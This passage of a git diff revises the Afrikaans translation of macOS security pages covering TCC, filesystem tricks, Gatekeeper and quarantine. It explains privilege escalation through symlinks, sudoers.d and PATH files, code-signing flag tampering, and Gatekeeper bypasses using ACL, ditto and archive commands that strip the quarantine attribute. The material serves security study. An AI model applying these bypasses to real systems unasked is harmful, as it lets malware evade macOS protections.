lêerstelsel te monteer (verbied deur standaard). Gereedskap: [**mount_nullfs**](https://github.com/JamaicanMoose/mount_nullfs/tree/master). +Hierdie regte laat toe om 'n nullfs lêerstelsel te monteer (verbied deur standaard). Gereedskap: [**mount_nullfs**](https://github.com/JamaicanMoose/mount_nullfs/tree/master). ### `kTCCServiceAll` @@ -156,7 +156,7 @@ Volgens hierdie blogpos, word hierdie TCC toestemming gewoonlik in die vorm gevi [Array] [String] kTCCServiceAll ``` -Laat die proses **vra vir al die TCC-toestemmings**. +Laat die proses toe om **vir al die TCC-toestemmings te vra**. ### **`kTCCServicePostEvent`** diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md index f1313227e..456f28bd6 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md @@ -2,7 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -## POSIX toestemmingskombinasies +## POSIX toestemmings kombinasies Toestemmings in 'n **gids**: @@ -10,17 +10,17 @@ Toestemmings in 'n **gids**: - **skryf** - jy kan **lêers** in die gids **verwyder/skryf** en jy kan **leë vouers verwyder**. - Maar jy **kan nie nie-leë vouers verwyder/modifiseer** tensy jy skryftoestemmings daaroor het. - Jy **kan nie die naam van 'n vouer modifiseer** tensy jy dit besit. -- **voer uit** - jy is **toegelaat om** die gids te **deursoek** - as jy nie hierdie reg het nie, kan jy nie enige lêers binne dit, of in enige subgidsen, toegang nie. +- **voer uit** - jy is **toegelaat om** die gids te **deursoek** - as jy nie hierdie reg het nie, kan jy nie enige lêers binne dit, of in enige subgidsen, toegang verkry nie. ### Gevaarlike Kombinasies **Hoe om 'n lêer/vouer wat deur root besit word te oorskryf**, maar: - Een ouer **gids eienaar** in die pad is die gebruiker -- Een ouer **gids eienaar** in die pad is 'n **gebruikersgroep** met **skryftoegang** +- Een ouer **gids eienaar** in die pad is 'n **gebruikersgroep** met **skryf toegang** - 'n Gebruikers **groep** het **skryf** toegang tot die **lêer** -Met enige van die vorige kombinasies, kan 'n aanvaller 'n **sim/hard skakel** in die verwagte pad **inspuit** om 'n bevoorregte arbitrêre skryf te verkry. +Met enige van die vorige kombinasies, kan 'n aanvaller 'n **sim/hard skakel** in die verwagte pad **injek** om 'n bevoorregte arbitrêre skryf te verkry. ### Vouer root R+X Spesiale geval @@ -30,11 +30,11 @@ Voorbeeld in: [https://theevilbit.github.io/posts/exploiting_directory_permissio ## Simboliese Skakel / Hard Skakel -### Toeganklike lêer/vouer +### Toegestane lêer/vouer As 'n bevoorregte proses data in 'n **lêer** skryf wat **beheer** kan word deur 'n **laer bevoorregte gebruiker**, of wat **voorheen geskep** is deur 'n laer bevoorregte gebruiker. Die gebruiker kan net **na 'n ander lêer wys** via 'n Simboliese of Hard skakel, en die bevoorregte proses sal op daardie lêer skryf. -Kyk in die ander afdelings waar 'n aanvaller 'n **arbitrêre skryf kan misbruik om voorregte te verhoog**. +Kyk in die ander afdelings waar 'n aanvaller 'n **arbitrêre skryf kan misbruik om bevoorregte te verhoog**. ### Open `O_NOFOLLOW` @@ -122,7 +122,7 @@ ls -le /tmp/test **AppleDouble** lêerformaat kopieer 'n lêer insluitend sy ACEs. -In die [**bronkode**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) is dit moontlik om te sien dat die ACL teksverteenwoordiging wat binne die xattr genaamd **`com.apple.acl.text`** gestoor is, as ACL in die gedecomprimeerde lêer gestel gaan word. So, as jy 'n toepassing in 'n zip-lêer met **AppleDouble** lêerformaat gekompresseer het met 'n ACL wat voorkom dat ander xattrs daarin geskryf word... was die kwarantyn xattr nie in die toepassing gestel nie: +In die [**bronkode**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) is dit moontlik om te sien dat die ACL teksverteenwoordiging wat binne die xattr genaamd **`com.apple.acl.text`** gestoor is, as ACL in die gedecomprimeerde lêer gestel gaan word. So, as jy 'n toepassing in 'n zip-lêer met **AppleDouble** lêerformaat gekompresseer het met 'n ACL wat voorkom dat ander xattrs daarop geskryf kan word... die kwarantyn xattr is nie in die toepassing gestel nie: Kontroleer die [**oorspronklike verslag**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) vir meer inligting. @@ -152,15 +152,15 @@ Nie regtig nodig nie, maar ek laat dit daar net ingeval: macos-xattr-acls-extra-stuff.md {{#endref}} -## Oortref handtekening kontroles +## Oorskry handtekening kontroles -### Oortref platform binêre kontroles +### Oorskry platform binêre kontroles -Sommige sekuriteitskontroles kyk of die binêre 'n **platform binêre** is, byvoorbeeld om verbinding te maak met 'n XPC-diens. Dit is egter moontlik om hierdie kontrole te oortref deur 'n platform binêre (soos /bin/ls) te verkry en die uitbuiting via dyld te inspuit met 'n omgewing veranderlike `DYLD_INSERT_LIBRARIES`. +Sommige sekuriteitskontroles kyk of die binêre 'n **platform binêre** is, byvoorbeeld om verbinding te maak met 'n XPC-diens. egter, soos blootgestel in 'n oorskry in https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/, is dit moontlik om hierdie kontrole te oorskry deur 'n platform binêre (soos /bin/ls) te verkry en die uitbuiting via dyld in te spuit met 'n omgewing veranderlike `DYLD_INSERT_LIBRARIES`. -### Oortref vlae `CS_REQUIRE_LV` en `CS_FORCED_LV` +### Oorskry vlae `CS_REQUIRE_LV` en `CS_FORCED_LV` -Dit is moontlik vir 'n uitvoerende binêre om sy eie vlae te wysig om kontroles te oortref met 'n kode soos: +Dit is moontlik vir 'n uitvoerende binêre om sy eie vlae te wysig om kontroles te oorskry met 'n kode soos: ```c // Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/ int pid = getpid(); @@ -175,7 +175,7 @@ NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, statu ``` ## Bypass Code Signatures -Bundles bevat die lêer **`_CodeSignature/CodeResources`** wat die **hash** van elke enkele **lêer** in die **bundle** bevat. Let daarop dat die hash van CodeResources ook **ingebed** is in die uitvoerbare lêer, so ons kan nie daarmee rommel nie. +Bundles bevat die lêer **`_CodeSignature/CodeResources`** wat die **hash** van elke enkele **lêer** in die **bundle** bevat. Let daarop dat die hash van CodeResources ook **ingebed is in die uitvoerbare**, so ons kan nie daarmee mors nie. Daar is egter 'n paar lêers waarvan die handtekening nie nagegaan sal word nie, hierdie het die sleutel omit in die plist, soos: ```xml @@ -282,11 +282,11 @@ Genereer net die skrip `/Applications/Scripts/privesc.sh` met die **opdragte** w ### Sudoers Lêer -As jy **arbitraire skryf** het, kan jy 'n lêer binne die gids **`/etc/sudoers.d/`** skep wat jouself **sudo** regte gee. +As jy **arbitraire skrywe** het, kan jy 'n lêer binne die gids **`/etc/sudoers.d/`** skep wat jouself **sudo** regte gee. ### PAD lêers -Die lêer **`/etc/paths`** is een van die hoof plekke wat die PATH omgewing veranderlike vul. Jy moet root wees om dit te oorskryf, maar as 'n skrip van **privileged process** 'n **opdrag sonder die volle pad** uitvoer, mag jy dit dalk kan **hijack** deur hierdie lêer te wysig. +Die lêer **`/etc/paths`** is een van die hoof plekke wat die PATH omgewing veranderlike vul. Jy moet root wees om dit te oorskryf, maar as 'n skrip van **privilege proses** 'n **opdrag sonder die volle pad** uitvoer, mag jy dit dalk kan **hijack** deur hierdie lêer te wysig. Jy kan ook lêers in **`/etc/paths.d`** skryf om nuwe gidse in die `PATH` omgewing veranderlike te laai. @@ -312,7 +312,7 @@ Dit is moontlik om die macOS sandbox te ontsnap met 'n FS arbitrêre skrywe. Vir ## Genereer skryfbare lêers as ander gebruikers -Dit sal 'n lêer genereer wat aan root behoort en deur my geskryf kan word ([**code van hier**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Dit mag ook as privesc werk. +Dit sal 'n lêer genereer wat aan root behoort en deur my geskryf kan word ([**kode van hier**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Dit mag ook as privesc werk. ```bash DIRNAME=/usr/local/etc/periodic/daily @@ -326,11 +326,11 @@ echo $FILENAME ``` ## POSIX Gedeelde Geheue -**POSIX gedeelde geheue** laat prosesse in POSIX-konforme bedryfstelsels toe om toegang te verkry tot 'n gemeenskaplike geheuegebied, wat vinniger kommunikasie vergemaklik in vergelyking met ander inter-proses kommunikasie metodes. Dit behels die skep of oopmaak van 'n gedeelde geheue objek met `shm_open()`, die instelling van sy grootte met `ftruncate()`, en die kartering daarvan in die proses se adresruimte met `mmap()`. Prosesse kan dan direk lees van en skryf na hierdie geheuegebied. Om gelyktydige toegang te bestuur en data-beskadiging te voorkom, word sinchronisasie-meganismes soos mutexes of semafore dikwels gebruik. Laastens, prosesse ontkarter en sluit die gedeelde geheue met `munmap()` en `close()`, en verwyder opsioneel die geheue objek met `shm_unlink()`. Hierdie stelsel is veral effektief vir doeltreffende, vinnige IPC in omgewings waar verskeie prosesse vinnig toegang tot gedeelde data moet verkry. +**POSIX gedeelde geheue** laat prosesse in POSIX-konforme bedryfstelsels toe om toegang te verkry tot 'n gemeenskaplike geheuegebied, wat vinniger kommunikasie vergemaklik in vergelyking met ander inter-proses kommunikasie metodes. Dit behels die skep of oopmaak van 'n gedeelde geheue objek met `shm_open()`, die instelling van sy grootte met `ftruncate()`, en die kartering daarvan in die proses se adresruimte met `mmap()`. Prosesse kan dan direk lees van en skryf na hierdie geheuegebied. Om gelyktydige toegang te bestuur en data-beskadiging te voorkom, word sinchronisasie meganismes soos mutexes of semafore dikwels gebruik. Laastens, prosesse ontkarter en sluit die gedeelde geheue met `munmap()` en `close()`, en verwyder opsioneel die geheue objek met `shm_unlink()`. Hierdie stelsel is veral effektief vir doeltreffende, vinnige IPC in omgewings waar verskeie prosesse vinnig toegang tot gedeelde data moet verkry.
-Produsent Kode Voorbeeld +Produksie Kode Voorbeeld ```c // gcc producer.c -o producer -lrt #include @@ -422,13 +422,13 @@ return 0; ## macOS Bewaakte Beskrywings -**macOS bewaakte beskrywings** is 'n sekuriteitskenmerk wat in macOS bekendgestel is om die veiligheid en betroubaarheid van **lêer beskrywing operasies** in gebruikersaansoeke te verbeter. Hierdie bewaakte beskrywings bied 'n manier om spesifieke beperkings of "wagters" met lêer beskrywings te assosieer, wat deur die kern afgedwing word. +**macOS bewaakte beskrywings** is 'n sekuriteitskenmerk wat in macOS bekendgestel is om die veiligheid en betroubaarheid van **lêer beskrywing operasies** in gebruikersaansoeke te verbeter. Hierdie bewaakte beskrywings bied 'n manier om spesifieke beperkings of "wagte" met lêer beskrywings te assosieer, wat deur die kern afgedwing word. -Hierdie kenmerk is veral nuttig om sekere klasse van sekuriteitskwesbaarhede soos **ongeoorloofde lêer toegang** of **wedloop toestande** te voorkom. Hierdie kwesbaarhede gebeur wanneer 'n draad byvoorbeeld 'n lêer beskrywing benader wat **'n ander kwesbare draad toegang gee** of wanneer 'n lêer beskrywing **geërf** word deur 'n kwesbare kindproses. Sommige funksies wat met hierdie funksionaliteit verband hou, is: +Hierdie kenmerk is veral nuttig om sekere klasse van sekuriteitskwesbaarhede soos **ongeoorloofde lêer toegang** of **wedloop toestande** te voorkom. Hierdie kwesbaarhede gebeur wanneer 'n draad byvoorbeeld 'n lêer beskrywing benader wat **'n ander kwesbare draad toegang gee** of wanneer 'n lêer beskrywing **geërf** word deur 'n kwesbare kind proses. Sommige funksies wat met hierdie funksionaliteit verband hou, is: -- `guarded_open_np`: Maak 'n FD met 'n wagter oop +- `guarded_open_np`: Maak 'n FD met 'n wag oop - `guarded_close_np`: Sluit dit -- `change_fdguard_np`: Verander wagtervlaggies op 'n beskrywing (selfs om die wagter beskerming te verwyder) +- `change_fdguard_np`: Verander wagvlagte op 'n beskrywing (selfs om die wag beskerming te verwyder) ## Verwysings diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md index 80a5c2e6a..3ca8b7eb9 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md @@ -26,7 +26,7 @@ Vanaf macOS Catalina, **kontroleer Gatekeeper ook of die toepassing notarised is #### Kontroleer Handtekeninge -Wanneer jy 'n **malware monster** kontroleer, moet jy altyd die **handtekening** van die binêre kontroleer, aangesien die **ontwikkelaar** wat dit onderteken het dalk reeds **verwant** is aan **malware.** +Wanneer jy 'n **malware monster** kontroleer, moet jy altyd die **handtekening** van die binêre kontroleer, aangesien die **ontwikkelaar** wat dit onderteken het dalk reeds **verbonde** is met **malware.** ```bash # Get signer codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" @@ -84,9 +84,9 @@ anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID [...] ``` -**`syspolicyd`** stel ook 'n XPC-bediener bloot met verskillende operasies soos `assess`, `update`, `record` en `cancel` wat ook bereik kan word met **`Security.framework` se `SecAssessment*`** APIs en **`xpctl`** praat eintlik met **`syspolicyd`** via XPC. +**`syspolicyd`** stel ook 'n XPC-bediener bloot met verskillende operasies soos `assess`, `update`, `record` en `cancel` wat ook bereik kan word met **`Security.framework` se `SecAssessment*`** API's en **`xpctl`** praat eintlik met **`syspolicyd`** via XPC. -Let op hoe die eerste reël eindig in "**App Store**" en die tweede een in "**Developer ID**" en dat dit in die vorige beeld **geaktiveer was om programme van die App Store en geïdentifiseerde ontwikkelaars** uit te voer.\ +Let op hoe die eerste reël eindig in "**App Store**" en die tweede een in "**Developer ID**" en dat dit in die vorige beeld **geaktiveer was om aansoeke van die App Store en geïdentifiseerde ontwikkelaars** uit te voer.\ As jy daardie instelling na App Store **wysig**, sal die "**Notarized Developer ID" reëls verdwyn**. Daar is ook duisende reëls van **type GKE** : @@ -126,7 +126,7 @@ Dit is moontlik om te **kontroleer of 'n App deur GateKeeper toegelaat sal word* ```bash spctl --assess -v /Applications/App.app ``` -Dit is moontlik om nuwe reëls in GateKeeper toe te voeg om die uitvoering van sekere toepassings toe te laat met: +Dit is moontlik om nuwe reëls in GateKeeper by te voeg om die uitvoering van sekere toepassings toe te laat met: ```bash # Check if allowed - nop spctl --assess -v /Applications/App.app @@ -143,24 +143,24 @@ spctl --assess -v /Applications/App.app ``` Betreffende **kernel uitbreidings**, die gids `/var/db/SystemPolicyConfiguration` bevat lêers met lyste van kexts wat toegelaat word om gelaai te word. Boonop het `spctl` die regte `com.apple.private.iokit.nvram-csr` omdat dit in staat is om nuwe vooraf-goedgekeurde kernel uitbreidings by te voeg wat ook in NVRAM in 'n `kext-allowed-teams` sleutel gestoor moet word. -### Quarantine Lêers +### Karantyn Lêers -By **aflaai** van 'n toepassing of lêer, spesifieke macOS **toepassings** soos webblaaiers of e-pos kliënte **heg 'n uitgebreide lêer eienskap** aan, algemeen bekend as die "**quarantine vlag**," aan die afgelaaide lêer. Hierdie eienskap dien as 'n sekuriteitsmaatreël om die **lêer te merk** as afkomstig van 'n onbetroubare bron (die internet), en potensieel risiko's dra. egter, nie alle toepassings heg hierdie eienskap aan nie, byvoorbeeld, algemene BitTorrent kliënt sagteware omseil gewoonlik hierdie proses. +By **aflaai** van 'n toepassing of lêer, heg spesifieke macOS **toepassings** soos webblaaiers of e-pos kliënte **'n uitgebreide lêer eienskap** aan, algemeen bekend as die "**karantyn vlag**," aan die afgelaaide lêer. Hierdie eienskap dien as 'n sekuriteitsmaatreël om die **lêer te merk** as afkomstig van 'n onbetroubare bron (die internet), en potensieel risiko's dra. egter, nie alle toepassings heg hierdie eienskap aan nie, byvoorbeeld, algemene BitTorrent kliënt sagteware omseil gewoonlik hierdie proses. -**Die teenwoordigheid van 'n quarantine vlag dui op macOS se Gatekeeper sekuriteitskenmerk wanneer 'n gebruiker probeer om die lêer uit te voer**. +**Die teenwoordigheid van 'n karantyn vlag dui op macOS se Gatekeeper sekuriteitskenmerk wanneer 'n gebruiker probeer om die lêer uit te voer**. -In die geval waar die **quarantine vlag nie teenwoordig is nie** (soos met lêers afgelaai via sommige BitTorrent kliënte), mag Gatekeeper se **kontroles nie uitgevoer word nie**. Dus, gebruikers moet versigtig wees wanneer hulle lêers wat van minder veilige of onbekende bronne afgelaai is, oopmaak. +In die geval waar die **karantyn vlag nie teenwoordig is nie** (soos met lêers afgelaai via sommige BitTorrent kliënte), mag Gatekeeper se **kontroles nie uitgevoer word nie**. Dus, gebruikers moet versigtig wees wanneer hulle lêers van minder veilige of onbekende bronne oopmaak. > [!NOTE] > **Kontroleer** die **geldigheid** van kode handtekeninge is 'n **hulpbron-intensiewe** proses wat die generering van kriptografiese **hashes** van die kode en al sy saamgebonde hulpbronne insluit. Verder behels die kontrole van sertifikaat geldigheid 'n **aanlyn kontrole** teen Apple se bedieners om te sien of dit herroep is nadat dit uitgereik is. Om hierdie redes is 'n volledige kode handtekening en notarization kontrole **onprakties om elke keer uit te voer wanneer 'n app gelaai word**. > -> Daarom word hierdie kontroles **slegs uitgevoer wanneer toepassings met die quarantined eienskap uitgevoer word.** +> Daarom word hierdie kontroles **slegs uitgevoer wanneer toepassings met die karantyn eienskap uitgevoer word.** > [!WARNING] > Hierdie eienskap moet **gestel word deur die toepassing wat die lêer skep/aflaai**. > -> egter, lêers wat in 'n sandbox is, sal hierdie eienskap aan elke lêer wat hulle skep, stel. En nie-sandboxed toepassings kan dit self stel, of die [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc) sleutel in die **Info.plist** spesifiseer wat die stelsel sal maak om die `com.apple.quarantine` uitgebreide eienskap op die geskepte lêers te stel, +> egter, lêers wat in 'n sandbox is, sal hierdie eienskap op elke lêer wat hulle skep, stel. En nie-sandboxed toepassings kan dit self stel, of die [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc) sleutel in die **Info.plist** spesifiseer wat die stelsel sal laat die `com.apple.quarantine` uitgebreide eienskap op die geskepte lêers stel, -Boonop is alle lêers wat deur 'n proses wat **`qtn_proc_apply_to_self`** aanroep, in kwarantyn. Of die API **`qtn_file_apply_to_path`** voeg die kwarantyn eienskap by 'n gespesifiseerde lêer pad. +Boonop is alle lêers wat deur 'n proses wat **`qtn_proc_apply_to_self`** aanroep, in karantyn. Of die API **`qtn_file_apply_to_path`** voeg die karantyn eienskap by 'n gespesifiseerde lêer pad. Dit is moontlik om **sy status te kontroleer en in/uit te skakel** (root benodig) met: ```bash @@ -193,7 +193,7 @@ com.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5 # Brave -- App # F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded ``` -Werklik kan 'n proses "kwarantynvlagte op die lêers wat dit skep, stel" (Ek het al probeer om die USER_APPROVED-vlag in 'n geskepte lêer toe te pas, maar dit sal nie toegepas word nie): +Werklik kan 'n proses "kwarantynvlagte op die lêers wat dit skep, stel" (Ek het reeds probeer om die USER_APPROVED-vlag in 'n geskepte lêer toe te pas, maar dit sal nie toegepas word nie):
@@ -269,13 +269,13 @@ En vind al die karantynlêers met: ```bash find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.quarantine" ``` -Quarantaine-inligting word ook in 'n sentrale databasis gestoor wat deur LaunchServices bestuur word in **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**, wat die GUI toelaat om data oor die lêer oorspronge te verkry. Boonop kan dit oorgeskryf word deur toepassings wat dalk belangstel om sy oorspronge te verberg. Boonop kan dit vanaf LaunchServices APIS gedoen word. +Quarantynasie-inligting word ook in 'n sentrale databasis gestoor wat deur LaunchServices bestuur word in **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**, wat die GUI toelaat om data oor die lêer oorspronge te verkry. Boonop kan dit oorgeskryf word deur toepassings wat dalk belangstel om sy oorspronge te verberg. Boonop kan dit vanaf LaunchServices APIS gedoen word. #### **libquarantine.dylb** Hierdie biblioteek voer verskeie funksies uit wat toelaat om die uitgebreide attribuut velde te manipuleer. -Die `qtn_file_*` APIs hanteer lêer quarantainebeleide, die `qtn_proc_*` APIs word toegepas op prosesse (lêers geskep deur die proses). Die nie-uitgevoerde `__qtn_syscall_quarantine*` funksies is diegene wat die beleide toepas wat `mac_syscall` met "Quarantine" as eerste argument aanroep wat die versoeke na `Quarantine.kext` stuur. +Die `qtn_file_*` APIs handel met lêer quarantynbeleid, die `qtn_proc_*` APIs word toegepas op prosesse (lêers geskep deur die proses). Die nie-uitgevoerde `__qtn_syscall_quarantine*` funksies is diegene wat die beleid toepas wat `mac_syscall` met "Quarantine" as eerste argument aanroep wat die versoeke na `Quarantine.kext` stuur. #### **Quarantine.kext** @@ -285,16 +285,16 @@ Hierdie Kext sal via MACF verskeie oproepe haak om alle lêer lewensiklus gebeur Dit gebruik ook 'n paar MIBs: -- `security.mac.qtn.sandbox_enforce`: Handhaaf quarantaine langs Sandbox -- `security.mac.qtn.user_approved_exec`: Quarantaine prosesse kan slegs goedgekeurde lêers uitvoer +- `security.mac.qtn.sandbox_enforce`: Handhaaf quarantyn langs Sandbox +- `security.mac.qtn.user_approved_exec`: Quarantined prosesse kan slegs goedgekeurde lêers uitvoer ### XProtect -XProtect is 'n ingeboude **anti-malware** kenmerk in macOS. XProtect **kontroleer enige toepassing wanneer dit eerste keer gelaai of gewysig word teen sy databasis** van bekende malware en onveilige lêertipes. Wanneer jy 'n lêer aflaai deur sekere toepassings, soos Safari, Mail, of Messages, skandeer XProtect outomaties die lêer. As dit ooreenstem met enige bekende malware in sy databasis, sal XProtect **die lêer van uitvoering verhoed** en jou waarsku oor die bedreiging. +XProtect is 'n ingeboude **anti-malware** kenmerk in macOS. XProtect **kontroleer enige toepassing wanneer dit eerste keer gelaai of gewysig word teen sy databasis** van bekende malware en onveilige lêertipes. Wanneer jy 'n lêer aflaai deur sekere toepassings, soos Safari, Mail, of Messages, skandeer XProtect outomaties die lêer. As dit ooreenstem met enige bekende malware in sy databasis, sal XProtect **verhoed dat die lêer loop** en jou waarsku oor die bedreiging. Die XProtect databasis word **gereeld opgedateer** deur Apple met nuwe malware definisies, en hierdie opdaterings word outomaties afgelaai en op jou Mac geïnstalleer. Dit verseker dat XProtect altyd op datum is met die nuutste bekende bedreigings. -Dit is egter die moeite werd om te noem dat **XProtect nie 'n volwaardige antivirusoplossing is nie**. Dit kontroleer slegs vir 'n spesifieke lys van bekende bedreigings en voer nie toegangskandering uit soos die meeste antivirusprogrammatuur nie. +Dit is egter die moeite werd om te noem dat **XProtect nie 'n volwaardige antivirusoplossing is nie**. Dit kontroleer slegs vir 'n spesifieke lys van bekende bedreigings en voer nie op-toegang skandering uit soos die meeste antivirusprogrammatuur nie. Jy kan inligting oor die nuutste XProtect-opdatering verkry deur: ```bash @@ -320,11 +320,11 @@ Nou is dit egter nie meer moontlik nie omdat macOS **wysig lêers** binne toepas ## Gatekeeper Omseilings -Enige manier om Gatekeeper te omseil (om te regverdig dat die gebruiker iets aflaai en dit uitvoer wanneer Gatekeeper dit sou verhoed) word beskou as 'n kwesbaarheid in macOS. Dit is 'n paar CVEs wat aan tegnieke toegeken is wat in die verlede toegelaat het om Gatekeeper te omseil: +Enige manier om Gatekeeper te omseil (om te regverdig dat die gebruiker iets aflaai en dit uitvoer wanneer Gatekeeper dit sou verhoed) word beskou as 'n kwesbaarheid in macOS. Dit is 'n paar CVE's wat aan tegnieke toegeken is wat in die verlede toegelaat het om Gatekeeper te omseil: ### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) -Daar is waargeneem dat as die **Archive Utility** vir ekstraksie gebruik word, lêers met **paaie wat 886 karakters oorskry** nie die com.apple.quarantine uitgebreide attribuut ontvang nie. Hierdie situasie laat daardie lêers per ongeluk toe om **Gatekeeper se** sekuriteitskontroles te omseil. +Daar is waargeneem dat as die **Archive Utility** vir ekstraksie gebruik word, lêers met **pade wat 886 karakters oorskry** nie die com.apple.quarantine uitgebreide attribuut ontvang nie. Hierdie situasie laat onbedoeld toe dat daardie lêers **Gatekeeper se** sekuriteitskontroles omseil. Kyk na die [**oorspronklike verslag**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) vir meer inligting. @@ -344,7 +344,7 @@ In hierdie omseiling is 'n zip-lêer geskep met 'n toepassing wat begin om te ko ```bash zip -r test.app/Contents test.zip ``` -Kontrollere die [**oorspronklike verslag**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) vir meer inligting. +Kontroleer die [**oorspronklike verslag**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) vir meer inligting. ### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910) @@ -356,16 +356,16 @@ Kontroleer die [**oorspronklike verslag**](https://www.jamf.com/blog/jamf-threat ### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) -Die ACL **`writeextattr`** kan gebruik word om te voorkom dat enigiemand 'n attribuut in 'n lêer skryf: +Die ACL **`writeextattr`** kan gebruik word om te verhoed dat iemand 'n attribuut in 'n lêer skryf: ```bash touch /tmp/no-attr chmod +a "everyone deny writeextattr" /tmp/no-attr xattr -w attrname vale /tmp/no-attr xattr: [Errno 13] Permission denied: '/tmp/no-attr' ``` -Boonop, **AppleDouble** lêerformaat kopieer 'n lêer insluitend sy ACE's. +Boonop, **AppleDouble** lêerformaat kopieer 'n lêer insluitend sy ACEs. -In die [**bronkode**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) is dit moontlik om te sien dat die ACL teksverteenwoordiging wat binne die xattr genaamd **`com.apple.acl.text`** gestoor word, as ACL in die gedecomprimeerde lêer gestel gaan word. So, as jy 'n toepassing in 'n zip-lêer met **AppleDouble** lêerformaat gekompresseer het met 'n ACL wat voorkom dat ander xattrs daarin geskryf word... was die kwarantyn xattr nie in die toepassing gestel nie: +In die [**bronkode**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) is dit moontlik om te sien dat die ACL teksverteenwoordiging wat binne die xattr genaamd **`com.apple.acl.text`** gestoor is, as ACL in die gedecomprimeerde lêer gestel gaan word. So, as jy 'n toepassing in 'n zip-lêer met **AppleDouble** lêerformaat gekompresseer het met 'n ACL wat voorkom dat ander xattrs daarin geskryf word... was die kwarantyn xattr nie in die toepassing gestel nie: ```bash chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test ditto -c -k test test.zip @@ -397,7 +397,7 @@ aa archive -d test/ -o test.aar # If you downloaded the resulting test.aar and decompress it, the file test/._a won't have a quarantitne attribute ``` -Deur 'n lêer te kan skep wat nie die kwarantyn-attribuut sal hê nie, was dit **moontlik om Gatekeeper te omseil.** Die truuk was om 'n **DMG-lêer toepassing** te skep met die AppleDouble naam konvensie (begin dit met `._`) en 'n **sigbare lêer as 'n sim link na hierdie versteekte** lêer te skep sonder die kwarantyn-attribuut.\ +Die vermoë om 'n lêer te skep wat nie die kwarantyn-attribuut sal hê nie, het dit **moontlik gemaak om Gatekeeper te omseil.** Die truuk was om **'n DMG-lêer toepassing** te skep met die AppleDouble naam konvensie (begin dit met `._`) en 'n **sigbare lêer as 'n sim link na hierdie versteekte** lêer te skep sonder die kwarantyn-attribuut.\ Wanneer die **dmg-lêer uitgevoer word**, sal dit, aangesien dit nie 'n kwarantyn-attribuut het nie, **Gatekeeper omseil.** ```bash # Create an app bundle with the backdoor an call it app.app diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-launch-environment-constraints.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-launch-environment-constraints.md index da77fc50c..ae2eed4ca 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-launch-environment-constraints.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-launch-environment-constraints.md @@ -4,22 +4,22 @@ ## Basic Information -Lanceringsbeperkings in macOS is ingestel om sekuriteit te verbeter deur **te reguleer hoe, wie, en van waar 'n proses geinitieer kan word**. Geïnisieer in macOS Ventura, bied dit 'n raamwerk wat **elke stelselbinarie in verskillende beperkingkategorieë kategoriseer**, wat gedefinieer word binne die **vertrou cache**, 'n lys wat stelselbinaries en hul onderskeie hashes bevat​. Hierdie beperkings strek uit na elke uitvoerbare binarie binne die stelsel, wat 'n stel **reëls** insluit wat die vereistes vir **die lansering van 'n spesifieke binarie** uiteensit. Die reëls sluit selfbeperkings in wat 'n binarie moet nakom, ouerbeperkings wat deur sy ouerproses nagekom moet word, en verantwoordelike beperkings wat deur ander relevante entiteite nagekom moet word​. +Lanceringsbeperkings in macOS is ingestel om sekuriteit te verbeter deur **te reguleer hoe, wie, en van waar 'n proses geinitieer kan word**. Geïnisieer in macOS Ventura, bied dit 'n raamwerk wat **elke stelselbinarie in verskillende beperkingkategorieë kategoriseer**, wat gedefinieer is binne die 